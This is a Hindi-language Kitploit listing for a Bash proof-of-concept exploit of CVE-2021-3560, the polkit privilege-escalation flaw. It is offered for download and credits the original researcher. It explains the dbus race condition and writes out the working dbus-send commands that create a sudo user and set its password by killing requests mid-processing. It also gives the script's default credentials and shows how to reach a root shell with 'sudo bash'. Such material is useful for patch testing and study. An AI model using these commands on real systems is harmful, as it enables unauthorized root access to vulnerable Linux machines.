Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — CVE-2021-3560 polkit विशेषाधिकार वृद्धि के लिए स्वचालित Bash PoC। dbus टाइमिंग रेस कंडीशन का शोषण करके कमजोर Linux वितरणों पर sudo यूज़र बनाता है और रूट शेल प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

CVE-2021-3560 polkit विशेषाधिकार वृद्धि के लिए स्वचालित Bash PoC। dbus टाइमिंग रेस कंडीशन का शोषण करके कमजोर Linux वितरणों पर sudo यूज़र बनाता है और रूट शेल प्राप्त करता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

CVE-2021-3560-Polkit-विशेषाधिकार-वृद्धि-PoC

केविन बैकहाउस द्वारा मूल शोध

यह केवल एक Bash PoC स्क्रिप्ट है, जो केविन बैकहाउस के ब्लॉग में उल्लिखित शोषण चरणों को स्वचालित करती है। इस भेद्यता पर उनका पोस्ट पढ़ें: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

उपयोग

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

ध्यान देने योग्य बातें:

  • यह शोषण केवल उन वितरणों पर काम करता है जिनमें accountsservice और gnome-control-center स्थापित हो और जिनमें polkit संस्करण 0.113 (या बाद का) या 0-105-26 (Debian का polkit फोर्क) हो।
  • इस शोषण का परीक्षण Ubuntu 20.04 पर polkit संस्करण 0-105-26 (Debian का polkit फोर्क) और Centos 8 पर polkit संस्करण 0.115 के साथ किया गया। यदि आप सुनिश्चित हैं कि आपका लक्ष्य भेद्य है, लेकिन शोषण का जाँच फल विफल होता है, तो सभी जाँचों को बायपास करने और शोषण को बलपूर्वक चलाने के लिए -f=y फ्लैग का उपयोग करें।
  • RHEL 8, Fedora 21, Debian testing ("bullseye") और Ubuntu 20.04 जैसे वितरण भेद्य पाए गए हैं।

शोषण कैसे काम करता है?

इसे मैन्युअल रूप से शोषित करने का विस्तृत विवरण और PoC शोधकर्ता के ब्लॉग पर दिया गया है।

TL;DR इस शोषण का नीचे दिया गया है:

  • इस हमले के लिए सटीक समय की आवश्यकता होती है और हमें SSH (या किसी कमांड लाइन सत्र) के माध्यम से लॉगिन करना होता है, जहाँ ग्राफिकल अनुप्रयोगों को खोलना एक विकल्प नहीं है।
  • एक हमलावर इस भेद्यता का शोषण polkit को ट्रिगर करके कर सकता है, dbus संदेश भेजकर, लेकिन अनुरोध को अचानक बंद करके, जब polkit अनुरोध प्रसंस्करण कर रहा हो। फिर हमलावर पिछले अनुरोध के अद्वितीय बस पहचानकर्ता के साथ एक दूसरा अनुरोध भेज सकता है, ताकि अनुरोध को UID 0 उर्फ root के रूप में निष्पादित किया जा सके।
  • यह भेद्यता polkit में मौजूद है, क्योंकि यह एक ऐसे बस पहचानकर्ता वाले कनेक्शन के UID को, जो अब मौजूद नहीं है, UID 0 से एक अनुरोध के रूप में मानता है। इसका मतलब है कि, यदि हम हमले को सही ढंग से समयबद्ध कर सकते हैं और सही क्षण पर अपने पहले अनुरोध को समाप्त कर सकते हैं, तो हम दूसरे अनुरोध को UID 0 उर्फ root के विशेषाधिकारों के साथ अनुरोध कर सकते हैं।
  • कनेक्शन को समाप्त करने का समय dbus-संदेश भेजने के लिए आवश्यक समय / 2 के रूप में गणना की जाती है। विस्तार से समझाया गया है यहाँ।

यह स्क्रिप्ट वास्तव में क्या करती है?

जैसा कि मैंने पहले कहा, यह सिर्फ एक bash स्क्रिप्ट है जो केविन बैकहाउस के PoC को स्वचालित करती है। मुख्य कमांड समान हैं; मैंने बस कुछ प्रारंभिक चरणों को स्वचालित किया है (जैसे समय सही करना, भेद्यता के लिए स्कैन करना, कस्टम क्रेडेंशियल सम्मिलन, सुंदर रंग मुद्रण आदि)।

यदि यह स्क्रिप्ट बिना किसी पैरामीटर के चलाई गई है, तो इस स्क्रिप्ट का डिफ़ॉल्ट व्यवहार इस प्रकार है:

  • वितरण प्रकार की जाँच करें। [/etc/os-release फ़ाइल का उपयोग करके।]
  • accountservice और gnome-control-center की स्थापना की जाँच करें। [rhel/centos/fedora में, rpm -qa का उपयोग करता है और debian/ubuntu वितरणों में, यह dpkg -l का उपयोग करता है।]
  • यदि स्थापनाएँ मिलती हैं, तो स्क्रिप्ट polkit संस्करण की जाँच करती है। [rhel.centos,fedora के लिए 0.113 (या बाद का) और Debian/Ubuntu के लिए 0-105-26]
  • यदि polkit संस्करण भेद्य पाया जाता है, तो स्क्रिप्ट शोषण शुरू करती है
  • सबसे पहले, स्क्रिप्ट debus-send का उपयोग करके अनुरोध भेजने के लिए आवश्यक समय निकालती है, निम्नलिखित जारी करके:
root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
  • फिर, अनुरोध को समाप्त करने का समय ($t) अनुरोध के लिए आवश्यक समय को 2 से विभाजित करके गणना की जाती है। ($t=time-required-to-request/2) [awk का उपयोग करके गणना की जाती है]
  • समय ($t) की गणना के बाद, लक्ष्य में $username secnigma डालने का अनुरोध 20 बार दोहराया जाता है।
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • यदि उपयोगकर्ता सम्मिलन सफल होता है, [id secnigma का उपयोग करके पाया गया], तो एक पासवर्ड हैश उत्पन्न होता है [bash openssl passwd -5 `echo -n $password` का उपयोग करके]। ($password=secnigmaftw)
  • फिर पासवर्ड हैश सम्मिलन कमांड 20 बार निष्पादित किया जाता है।
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!
टूल डाउनलोड करें
  • वितरण अनुकूलता की सूची केविन के ब्लॉग से प्राप्त की जा सकती है।
  • यह स्क्रिप्ट sudo समूह में एक नया उपयोगकर्ता सम्मिलित करती है। यदि शोषण काम कर गया, तो हम स्क्रिप्ट को प्रदान किए गए पासवर्ड के साथ su - <username> का उपयोग करके खाते में लॉगिन कर सकते हैं, और फिर रूट शेल में प्रवेश करने के लिए sudo bash दर्ज कर सकते हैं!
  • चूंकि यह हमला सटीक समय पर निर्भर करता है, इसलिए इस शोषण के काम करने के लिए आमतौर पर कई प्रयासों की आवश्यकता होती है।
  • चेतावनी: इस स्क्रिप्ट को ग्राफिकल लॉगिन में न चलाएँ!
  • यदि यह स्क्रिप्ट ग्राफिकल लॉगिन वातावरण में चलाई जाती है, तो लूप बार-बार polkit प्रमाणीकरण पॉप करता रहेगा। इसलिए, इस शोषण को केवल SSH/NC शेल के अंदर चलाएँ।
  • यदि ऐसा कभी होता है, तो प्रमाणीकरण प्रॉम्प्ट को बंद करने के लिए Esc कुंजी दबाएँ और स्क्रिप्ट को तुरंत समाप्त करने के लिए Ctrl+C दबाएँ।